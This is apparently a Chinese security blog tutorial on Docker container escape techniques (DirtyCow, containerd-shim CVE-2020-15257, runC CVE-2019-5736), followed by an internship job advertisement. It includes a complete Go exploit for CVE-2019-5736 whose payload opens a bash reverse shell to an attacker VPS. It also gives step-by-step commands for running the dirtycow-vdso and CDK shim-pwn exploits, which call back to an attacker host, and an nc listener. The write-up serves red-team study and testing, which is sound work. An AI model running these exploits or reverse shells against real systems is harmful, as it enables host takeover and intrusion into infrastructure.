因全文整体内容较长,将文章拆分为多篇在本公众号发出,欢迎大家关注~
三、Docker逃逸问题二:
系统本身内核问题
概述
Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。
当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,所以其实就是找内核漏洞,攻击者直接可以利用Docker容器和宿主机操作系统之间的内核漏洞来实现逃逸。实现直接获取宿主机root权限。
因为docker和宿主机内核版本是一样,可以直接在docker内查看内核版本:
uname -a
或 hostnamectl | grep -i kernel
或 cat /proc/version
下面就挑了一个常见的脏牛漏洞。
逃逸方法
3.1 逃逸方法一:DirtyCow脏牛漏洞 CVE-2016-5195
漏洞描述:
Docker 与 宿主机共享内核。利用DirtyCow。假如宿主机内核版本较低,可以试试。
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。当一个进程尝试写入只读页面时,内核需要将该页面复制到新的内存空间,并将其设置为可写,以便进程可以继续进行写入操作。
然而,在漏洞存在的情况下,攻击者可以通过多次并发访问同一页面,从而触发内核中的竞争条件,使得内核仅执行第一次写入,但未正确处理其他访问。这样一来,攻击者可以获取对只读页面的写访问权限,并可能修改敏感数据或提升特权级别。
影响版本:
前置条件:需要宿主机的版本内核足够低(阿里云环境不满足条件了)。
漏洞利用:
直接使用内核提权漏洞exp即可,找一个脏牛漏洞exp直接打。这里我用了ubuntu-14.04.5来测试,内核版本4.4.0-31-generic。
http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso
*左右滑动查看更多
配合容器:
https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile
*左右滑动查看更多
这里就主要记录一下如何确认一下当前内核版本是否存在脏牛漏洞。
方法一:直接检查内核版本
(区别于第二种直接打的方法,这种就是保守一点)。
其实主要是看看内核是不是打过补丁的版本。
Debian运行命令:
uname -v
Ubuntu/Centos/RHEL运行命令:
uname -r, 或者cat /etc/os-release
以下是主流发行版修复后的内核版本,如果版本低于以下,说明存在风险(主要是从2007-2016年间的Linux)。
Centos7 /RHEL7 3.10.0-327.36.3.el7
2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
*左右滑动查看更多
可以配合这个工具使用(不过会存在误报):
https://github.com/The-Z-Labs/linux-exploit-suggester
*左右滑动查看更多
方法二:直接上exp
(因为上面几个版本也只是网上非官方找的,内核版本的命名机制太混乱了,也不保证这几个版本号肯定是对的,所以建议能直接上poc就直接测了)。
利用手法可以看看视频:
[还没给你的Docker打上脏牛补丁?坏消息来了]
https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651069205&idx=3&sn=2c79678bcfcde9113f3d6848277ffa0a&chksm=bd14abc68a6322d0d5855c5d8ec3b8c5cf7c75886b3b7464c242adc1864cfb1af22bf63a39d7&mpshare=1&scene=23&srcid=1105rp9r0ZahYZNG6KJufSkp# rd
*左右滑动查看更多
POC:
https://github.com/scumjr/dirtycow-vdso
*左右滑动查看更多
使用方法:
cd /dirtycow-vdso/
make # 编译
./0xdeadbeef IP:Port
# 支持接收反弹shell的地址,如果不加参数默认是127.0.0.1:1234 docker容器本机上的直接执行
*左右滑动查看更多
提一个视频里可能会有疑问的问题,视频中有一步是修改IP的操作(修改playload.c文件中的IP值),文件中的IP是16进制模式的(IP equ 0x030018AC) 视频中的ipconfig IP为172.24.0.3。
IP地址是一个32位的二进制数,通常以十六进制表示。在这个例子中0x030018AC,二进制数为:00000011 00000000 00011000 10101100 ⇒ 十进制就是 3 0 24 172。这里有个关键就是网络字节存储用了小端模式。因此实际IP就是172.24.0.3。
防止忘记,顺带附上脏牛官方的poc:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
https://github.com/Brucetg/DirtyCow-EXP(已编译)
*左右滑动查看更多
四、Docker逃逸问题三:
Docker软件设计不当
概述
docker 组件设计过程中自身存在的一些漏洞。
逃逸方法
4.1 逃逸方法一:Docker Containerd 漏洞 CVE-2020-15257
漏洞原理:
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shimAPI,从而实现Docker容器逃逸。
在版本1.3.9和1.4.3之前的容器中,当docker以 —-net=host参数启动时,容器与host共享一套Network namespaces(容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源),containerd-shim API 暴露给了docker容器下。
填充程序的API套接字的访问控制仅仅验证了连接进程的有效uid为0,但没有限制对抽象unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
简单来说就是:docker容器以–net=host 启动会暴露containerd-shim 监听的 Unix 域套接字。特定版本的Containerd未做权限控制,可以实现提权。
影响版本:
containerd < 1.3.9
containerd < 1.4.3
漏洞利用:
这里用的环境是:
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
*左右滑动查看更多
安装好后,查看当前containerd版本 docker version。
随便pull一个容器启动,使用 –net=host 启动参数:
docker run -itd --net=host ubuntu:18.04 /bin/bash
*左右滑动查看更多
当我们在docker内时如何判断当前容器是否存在风险?
是否能获取containerd-shim 监听的 Unix 域套接字:
cat /proc/net/unix|grep -a "containerd-shim”
*左右滑动查看更多
可以看到抽象命名空间Unix域套接字 。
这里的@/containerd-shim/moby/{sha256}.sock 抽象 Unix 域套接字,没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。因此我们可以通过操作containerd-shim API 进行逃逸。
直接一键POC + 监听端口。下载了全版本利用文件,当然也可以根据docker宿主机内核版本选择对应的poc wget。
https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gztar -zxvf cdk_v0.1.6_release.tar.gz./cdk_linux_amd64 run shim-pwn IP PORT
*左右滑动查看更多
使用公网VPS进行监听。
获得了反弹shell。
4.2 逃逸手法二:Docker RunC组件漏洞 CVE-2019-5736
限制:需要等待宿主机执行exec进入当前docker容器时候,才能获取到宿主机权限。如果没有人在宿主机执行的话,是无法进行docker逃逸的。
注意:该漏洞逃逸后可能会影响docker环境使用,在实际测试过程中docker服务崩了好几次,快照回退了好几次,在真实环境下建议还是慎用!!!
笔者看到网上说是会覆盖runc文件。可以先备份一份
cp /usr/bin/docker-runc drc_bak
*左右滑动查看更多
漏洞描述:
漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。
像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
攻击步骤:
1、将容器内的/bin/sh程序覆盖为# !/proc/self/exe;
2、持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号;
3、以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd;
4、持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷;
5、runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc已经在第四步被覆盖掉。
影响版本:
docker version <=18.09.2
RunC version <=1.0-rc6
漏洞利用:
搭建环境比较麻烦,得在本地虚拟机新装个低版本有漏洞的docker。
先编译go脚本,生成攻击payload。
https://github.com/Frichetten/CVE-2019-5736-PoC
*左右滑动查看更多
C语言的POC:
https://github.com/agppp/cve-2019-5736-poc
*左右滑动查看更多
需要修改一下PoC内容,脚本中的反弹地址为自己的vps。
var payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"
*左右滑动查看更多
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "# !/bin/bash n bash -i >& /dev/tcp/xxx.xx.xx.xx/1234 0>&1"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "# !/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
*左右滑动查看更多
编译生成payload:
set CGO_ENABLED=0
set GOOS=linux
set GOARCH=amd64
go build main.go
拷贝到docker容器中执行(可以在vps上用python起个临时的web服务,docker使用wget远程下载 )。
python2 -m SimpleHTTPServer 80、python3 -m http.server 8001
修改提权脚本权限,测试一下当前环境是否出网(因为环境改了好几次才测试成功,有些截图内容不对应请忽略)。
一切没问题,在vps启动监听端口并运行提权脚本。
vps:nc -lvnp 1234
docker: ./docker5736rce
然后模拟管理员进入容器(使用/bin/sh),这里是在kali里搭的环境,可能是内核版本有点bug,所以会有while loading shared libraries: libseccomp.so.2:cannot open shared object file: No such file or directory的报错,影响不大。
过一会vps上就可以收到反弹shell了。
查看当前ifconfig,确实是我的kali靶机了,逃逸成功(当然,逃逸后docker环境又坏了,实战还是要慎用)。
(未完待续)
参考资料及推荐阅读:
CVE-2019-5736 runc容器逃逸漏洞分析
https://x3fwy.bitcron.com/post/runc-malicious-container-escape
渗透测试之Docker逃逸
https://xz.aliyun.com/t/8558# toc-0
『杂项』Docker 逃逸方法汇总
https://mp.weixin.qq.com/s/FeOsaMgTMI0AwN7UzTjxAg
脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
https://blog.csdn.net/enjoy5512/article/details/53196047
【云原生渗透】- containerd-shim容器逃逸漏洞(CVE-2020-15257)
https://zhuanlan.zhihu.com/p/471532280
host模式容器逃逸漏洞(CVE-2020-15257)技术分析
https://mp.weixin.qq.com/s/WmSaLPnG4o4Co1xRiYCOnQ
CVE-2019-14271分析与复现
https://ssst0n3.github.io/post/网络安全/安全研究/容器安全/进程容器/服务器容器/docker/历史漏洞分析与复现/docker-software/plumbing/docker-cp/CVE-2019-14271/分析/CVE-2019-14271分析与复现.html
CVE-2019-5736 runc容器逃逸漏洞分析
https://x3fwy.bitcron.com/post/runc-malicious-container-escape
Docker SYS_ADMIN 容器逃逸原理解析
https://www.freebuf.com/vuls/264843.html
Docker安全性与攻击面分析
https://zhuanlan.zhihu.com/p/152052618
插播一条招聘信息
一、安全研究工程师实习生(25/26届)
工作地点:深圳
岗位职责:
1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
二、代码审计工程师实习生(25/26届)
工作地点:深圳
岗位职责:
1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。
简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 云安全-Docker逃逸手法(中)